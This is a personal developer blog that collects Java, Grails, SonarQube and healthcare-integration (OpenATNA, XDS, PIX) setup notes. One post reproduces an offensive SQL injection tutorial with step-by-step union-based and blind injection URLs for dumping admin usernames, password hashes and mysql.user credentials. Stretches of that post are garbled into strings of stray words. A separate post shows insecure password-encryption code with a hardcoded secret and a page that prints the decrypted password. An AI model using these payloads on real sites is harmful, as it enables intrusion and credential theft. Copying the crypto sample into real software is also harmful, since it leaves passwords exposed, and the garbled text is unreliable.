Search This Blog

Thursday, December 10, 2015

Install Java JDK in linux

    Installing Java 8
        $ sudo add-apt-repository ppa:webupd8team/java
        $ sudo apt-get update
        $ sudo apt-get install oracle-java8-installer

    Verify java
        $ java -version

    Configuring Java Environment
        $ sudo apt-get install oracle-java8-set-default

Wednesday, October 7, 2015

Run Open ATNA, XDS, PixPdq Steps

Open ATNA
*********


1. Goto cmd
cd D:\works\BlueCap\POC\openatna\trunk\openatna\all\build

2. java -jar openatna-1.2.1-SNAPSHOT.jar

3. open jboss dev stuido workspace  D:\jbdevstudio\workspace\Blue-Cap\openatna
    run junit


Open XDS
********


1. goto cmd D:\works\BlueCap\POC\openxds\tags\build

2. java -jar openxds-1.0.jar

3. open jboss dev stuido workspace  D:\jbdevstudio\workspace\Blue-Cap
 run ProvideAndRegisterDocumentSetTest.java 


SRC Folder : D:\works\BlueCap\POC\openxds\tags\openxds-1.0-20100309\openxds-core\src\test\java\org\openhealthtools\openxds\integrationtests\

4. use test.properties to change the patient id and check that in personidentifier table in protgres



Open Pixpdq
***********


1. goto Tomcat6.0 and run with openpixpdq.war

2. http://localhost:8080/openpixpdq/
   goto configuration module/menu
   load file : D:\works\BlueCap\POC\openpixpdq\trunk\OpenPIXPDQ\conf\tests\actors\IheActors.xml
3. go down in the same page, select all the check box and give one log file path & save it

4. Go to other screens and test it
    Create a patient and see it in postgres openempi database person_identifier


or
simple open jboss dev stuido workspace  D:\jbdevstudio\workspace\open-pixpdq

FOLLOW 1,2 steps to start 3600 port for pix manager to run directly from IDE

open TestPixFeed.java
    & run junit
FOLDER: D:\works\BlueCap\POC\openpixpdq\trunk\OpenPIXPDQ\src\test\org\openhealthexchange\openpixpdq\ihe\impl_v2\

NOTE: open openpixpdq context , not in trunk, other wise you cannot see junit in right click run as-> junit



if you want to run with dynamically 100 port, such as 8080 to 8180 ....
 x:\>   standalone.bat -Djboss.server.default.config=standalone-full.xml -Djboss.socket.binding.port-offset=100

Friday, May 8, 2015

Sonarqube Setup and Upgrade

Setup and Upgrade

To give a quick try at SonarQube, just follow the tutorial below.
To install a production instance, follow the installation guide.
To upgrade your SonarQube instance, read the upgrade guide and the related upgrade notes.

Get Started in Two Minutes

1. Download and unzip the SonarQube distribution (let's say in "C:\sonarqube" or "/etc/sonarqube")

2. Start the SonarQube server:
# On Windows, execute:
C:\sonarqube\bin\windows-x86-xx\StartSonar.bat
 # On other operating system, execute:
/etc/sonarqube/bin/[OS]/sonar.sh console
3. Download and unzip the SonarQube Runner (let's say in "C:\sonar-runner" or "/etc/sonar-runner")

4. Download and unzip some project samples (let's say in "C:\sonar-examples" or "/etc/sonar-examples")

5. Analyze a project:
# On Windows:
cd C:\sonar-examples\projects\languages\java\sonar-runner\java-sonar-runner-simple
C:\sonar-runner\bin\sonar-runner.bat
# On other operating system:
cd /etc/sonar-examples/projects/languages/java/sonar-runner/java-sonar-runner-simple
/etc/sonar-runner/bin/sonar-runner
6. Browse the results at http://localhost:9000 (default System administrator credentials are admin/admin)

7. open x:\apache-maven-3.2.3\conf\settings.xml, paste under  (optional)

 <settings>
    <pluginGroups>
        <pluginGroup>org.sonarsource.scanner.maven</pluginGroup>
    </pluginGroups>
    <profiles>
        <profile>
            <id>sonar</id>
            <activation>
                <activeByDefault>true</activeByDefault>
            </activation>
            <properties>
                <!-- Optional URL to server. Default value is http://localhost:9000 -->
                <sonar.host.url>
                  http://myserver:9000
                </sonar.host.url>
            </properties>
        </profile>
     </profiles>
</settings>

           
       



8. in your project root pom.xml,
 8.1  paste under 
 UTF-8
java



8.2paste under
               

 <build>
<pluginManagement>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>sonar-maven-plugin</artifactId>
<version>2.6</version>
</plugin>
</plugins>
</pluginManagement>
</build>                    

               

OR

       <build>
<pluginManagement>
<plugins>
<plugin>
<groupId>org.sonarsource.scanner.maven</groupId>
<artifactId>sonar-maven-plugin</artifactId>
<version>3.6.0.1398</version>
</plugin>
</plugins>
</pluginManagement>
</build>

9. Go to cmd, your project root folder and type 

mvn clean install
mvn sonar:sonar

10. goto http://localhost:9000  [under projects you can see the reports]

11. If you want Html report
mvn sonar:sonar -Dsonar.analysis.mode=preview -Dsonar.issuesReport.html.enable=true
under your /target/sonar/issues-report folder you can see the html
http://docs.sonarqube.org/display/SONAR/Setup+and+Upgrade

Friday, April 24, 2015

SQL Injection - SQLI tutorial

SQL Injection Tutorial by Marezzi (MySQL)


In this tutorial i will describe how sql injection works and how to
use it to get some useful information.


First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).


1.SQL Injection (classic or error based or whatever you call it) :D

2.Blind SQL Injection (the harder part)


So let's start with some action :D


1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- --="" ...="" 1="" 2="" 3="" 4.1.12...="" 4.1.33-log="" 4.1.33="" 4.="" 4="" 5.0.45="" 5="" :="" :d="" a="" all="" already="" an="" and="" any="" are="" by="" can="" cause="" check="" clause="" coercible="" collations="" column="" columns="" comment="" convert="" covering="" data="" describe="" didn="" error="" for="" found="" function="" get="" getting="" got="" has="" have="" hex="" http:="" i.e.="" i.e="" i="" id="5" if="" illegal="" important="" in="" is="" it="" later="" latin1="" let="" like="" look="" means="" message="" mix="" more="" must="" mysql="" name="" need="" news.php="" no="" not="" note:="" now="" number="" numbers="" of="" on="" one="" or="" order="" our="" paper="" problem="" properly.="" query="" replace="" s="" say="" screen="" section="" see="" select="" should="" similar.="" so="" some="" something="" someting="" sql="" statement.="" t="" table="" that="" the="" then="" this="" to="" try="" unhex="" union="" unknown="" using="" version="" we="" well="" what="" will="" with="" work="" working="" works="" write="" www.site.com="" you=""> 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)

we know that table admin exists...

now to check column names.


http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up :)

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice :)

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )


http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser :D

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... :D

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together :D

for that we use concat() , i decribe it earlier.

i.e


http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com


That's all in this part, now we can proceed on harder part :)



2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done :D

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- 0="" 1="" 2="" 3="" 4.="" 4="" 5.="" 5="" :="" access="" always="" and="" article="" as="" ascii="" attack="" before="" best="" blind="" can="" cause="" change="" character="" characters="" check="" column="" columns.="" columns="" common="" concat="" content="" data="" database="" don="" exits.="" false="" first="" for="" found="" friend="" from="" function="" get="" gonna="" guess="" guessing.="" guessing="" have="" here="" http:="" i.e.="" i.e="" i="" id="5" if="" important.="" in="" injection.="" is="" just="" know="" later="" let="" like="" limit="" load_file="" loads="" merge="" missing="" mysql.user="" mysql="" name.="" name="" names="" need="" news.php="" normally="" now="" of="" ok.="" on="" one="" only="" or="" our="" outfile.="" page="" part="" password="" picture="" pull="" query="" real="" replace="" return="" returned="" returns="" right="" row="" s="" said="" same="" say="" see="" select="" should="" site="" so="" some="" sql="" start="" subselect="" subselects="" substring="" t="" table="" test="" text="" that.="" that="" the="" then="" this="" to="" true="" try="" until="" use="" username="" users="" usign="" version="" very="" vulrnable="" we="" what="" when="" with="" without="" work.="" work="" works="" www.site.com="" x3a="" you="">80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR.
 
 
Thanks to exploit-db.com

Wednesday, March 4, 2015

Password Encrypt in JavaScript and Decrypt in Java

here is the steps,

1. create two jsps. [ login.jsp, validate.jsp ]
2. create one java.
3. Add cryptojs lib [ aes.js ] in your javascript path and mentioned in login.jsp.

here is the sample code.


1. login.jsp

<%@page import="java.util.Arrays"%>
<%@page import="package.Security"%>
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
  
<%
    session.setAttribute ( "RANDKEY", Security.generateSecret (  ) );
%>
  
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Insert title here</title>
<script src="./js/rollups/aes.js"></script>
<script src="./js/rollups/pbkdf2.js"></script>
<script type="text/javascript">
    function convertAndSubmit()
    {
         var salt = CryptoJS.lib.WordArray.random(128/8);
        var iv = CryptoJS.lib.WordArray.random(128/8);          
        //console.log('salt  '+ salt );
        //console.log('iv  '+ iv );
        var key128Bits100Iterations = CryptoJS.PBKDF2( '<%=session.getAttribute ( "RANDKEY" ) %>', salt, { keySize: 128/32, iterations: 100 });
        //console.log( 'key128Bits100Iterations '+ key128Bits100Iterations);
        var encrypted = CryptoJS.AES.encrypt(document.login.password.value, key128Bits100Iterations, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7  });
        document.login.salt.value = salt;
        document.login.iv.value = iv;
        document.login.password.value = encrypted;
        document.login.submit();
    }
</script>
</head>
<body>
    <form action="validate.jsp" method="post" name="login" autocomplete="off">
        <p>User Name : <input type="text" name="userName"/></p>
        <p>
                       <input type="text" style="display:none;">
            Password : <input type="password" name="password"/>
        </p>
        <p>
            <input type="hidden" name="salt"/>
            <input type="hidden" name="iv"/>
            <input type="button" value="Login" onclick="javascript:convertAndSubmit()"/>
        </p>
    </form>
</body>
</html>





Insert title here




   

        User Name :

       
                      
            Password :
       

       
           
           
           
       

   


2. validate.jsp


<%@page import="java.util.Arrays"%>
<%@page import="package.Security"%>
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
</head>
<body>
    <%
        out.println ("<br/>Encrypted Password     :    " + request.getParameter("password"));
        out.println ("<br/>Salt                 :    " + request.getParameter("salt"));
        out.println ("<br/>IV                     :    " + request.getParameter("iv"));
        out.println ("<br/>Key                 :    " + session.getAttribute ( "RANDKEY" ) );
        out.println ("<br/>Original Password     :    " + Security.decryptAESEncryptWithSaltAndIV(request.getParameter("password"), session.getAttribute ( "RANDKEY" ).toString (  ), request.getParameter("salt"), request.getParameter("iv") ) );   
    %>
</body>
</html>






    <%
        out.println ("
Encrypted Password     :    " + request.getParameter("password"));
        out.println ("
Salt                 :    " + request.getParameter("salt"));
        out.println ("
IV                     :    " + request.getParameter("iv"));
        out.println ("
Key                 :    " + session.getAttribute ( "RANDKEY" ) );
        out.println ("
Original Password     :    " + YourJava.decryptAESEncryptWithSaltAndIV(request.getParameter("password"), session.getAttribute ( "RANDKEY" ).toString (  ), request.getParameter("salt"), request.getParameter("iv") ) );   
    %>

3. Security.java [add the below methods ]

/**
     * Hex string to byte array.
     *
     * @param s the s
     * @return the byte[]
     */
    public static byte [] hexStringToByteArray ( String s )
    {
        int len = s.length ();
        byte [] data = new byte[len / 2];
        for ( int i = 0; i < len; i += 2 )
        {
            data[i / 2] = (byte) ( ( Character.digit ( s.charAt ( i ), 16 ) << 4 ) + Character.digit ( s.charAt ( i + 1 ), 16 ) );
        }
        return data;
    }

   
    /**
     * Generate key from password with salt.
     *
     * @param password the password
     * @param saltBytes the salt bytes
     * @return the secret key
     * @throws GeneralSecurityException the general security exception
     */
    public static SecretKey generateKeyFromPasswordWithSalt ( String password, byte [] saltBytes ) throws GeneralSecurityException
    {
        KeySpec keySpec = new PBEKeySpec ( password.toCharArray (), saltBytes, 100, 128 );
        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance ( PBKDF2_WITH_HMAC_SHA1 );
        SecretKey secretKey = keyFactory.generateSecret ( keySpec );

        return new SecretKeySpec ( secretKey.getEncoded (), AES );
    }

    /**
     * Decrypt aes encrypt with salt and iv.
     *
     * @param encryptedData the encrypted data
     * @param key the key
     * @param salt the salt
     * @param iv the iv
     * @return the string
     * @throws Exception the exception
     */
    public static String decryptAESEncryptWithSaltAndIV ( String encryptedData, String key, String salt, String iv ) throws Exception
    {

        byte [] saltBytes = hexStringToByteArray ( salt );
        byte [] ivBytes = hexStringToByteArray ( iv );
        IvParameterSpec ivParameterSpec = new IvParameterSpec ( ivBytes );
        SecretKeySpec sKey = (SecretKeySpec) generateKeyFromPasswordWithSalt ( key, saltBytes );

        Cipher c = Cipher.getInstance ( AES_CBC_PKCS5_PADDING );
        c.init ( Cipher.DECRYPT_MODE, sKey, ivParameterSpec );
        byte [] decordedValue = new BASE64Decoder ().decodeBuffer ( encryptedData );
        byte [] decValue = c.doFinal ( decordedValue );
        String decryptedValue = new String ( decValue );

        return decryptedValue;
    }

public String generateSecret (  )
{
    return "1234455553dsfdfdsfdsf";   //generate always random number and send for each request
}

 // enjoy madi.

Wednesday, November 19, 2014

Grails - Getting Back Entered UserName LoginController->authfail Spring Security

1. Open Config.groovy
Add
grails.plugin.springsecurity.apf.storeLastUsername=true

2. login/auth.gsp
 
${session['SPRING_SECURITY_LAST_USERNAME']}" name='j_username' id='username' />

 
 --Enjoy

Friday, August 22, 2014

How to Comment the section / paragraph / set of lines in Grails GSP ?

html



grails [ .gsp ]

<%--
         stmt 1
         stmt 2
         ---
--%>

grails [ .groovy ]

// stmt1

or

/*
stmt1
stmt2
*/
 

Grails : How to pass or get param values in g:createLinks

in view.GSP





in YourController.gsp

def displayImageOnFileName ()
    {
        print params
        String fileName = params.fileName        // or params["fileName"]
...
}

Grails Configuring your own Bean or Groovy Object

Configuring Additional Beans

Using the Spring Bean DSL

You can easily register new (or override existing) beans by configuring them in grails-app/conf/spring/resources.groovy which uses the Grails Spring DSL. Beans are defined inside a beans property (a Closure):
 
beans = {
    // beans here
}
 
As a simple example you can configure a bean with the following syntax:
import my.company.MyBeanImpl
beans = { myBean(MyBeanImpl) { someProperty = 42 otherProperty = "blue" } }
Once configured, the bean can be auto-wired into Grails artifacts and other classes that support dependency injection (for example BootStrap.groovy and integration tests) by declaring a public field whose name is your bean's name (in this case myBean):
 
class ExampleController {
def myBean … }


Referencing Existing Beans

Beans declared in resources.groovy or resources.xml can reference other beans by convention. For example if you had a BookService class its Spring bean name would be bookService, so your bean would reference it like this in the DSL:
beans = {
    productUtility ( ProductUtility )
            {
          someProperty = 42
          otherProperty = "blue"
          springSecurityService = ref ( "springSecurityService" )
            }
}
or like this in XML:
"myBean" class="my.company.MyBeanImpl"> 
"someProperty" value="42" />
    "otherProperty" value="blue" />
  "springSecurityService" ref="springSecurityService" />
The bean needs a public setter for the bean reference (and also the two simple properties), which in Groovy would be defined like this:
package my.company
class MyBeanImpl { Integer someProperty String otherProperty
   SpringSecurityService springSecurityService  or def springSecurityService 
}




Wednesday, August 13, 2014

Grails Debugging Enable Intelj Idea

Step 1:-
Add in config.groovy

plugin.platformCore.events.catchFlushExceptions = true

Step 2:-
Add in buildconfig.groovy

grails.project.fork = [
        test: false,
        run: false
]



That's It, 
 Just run in debug mode..  [ click debug button, instead of run button/from menu]

Hit Counter


View My Stats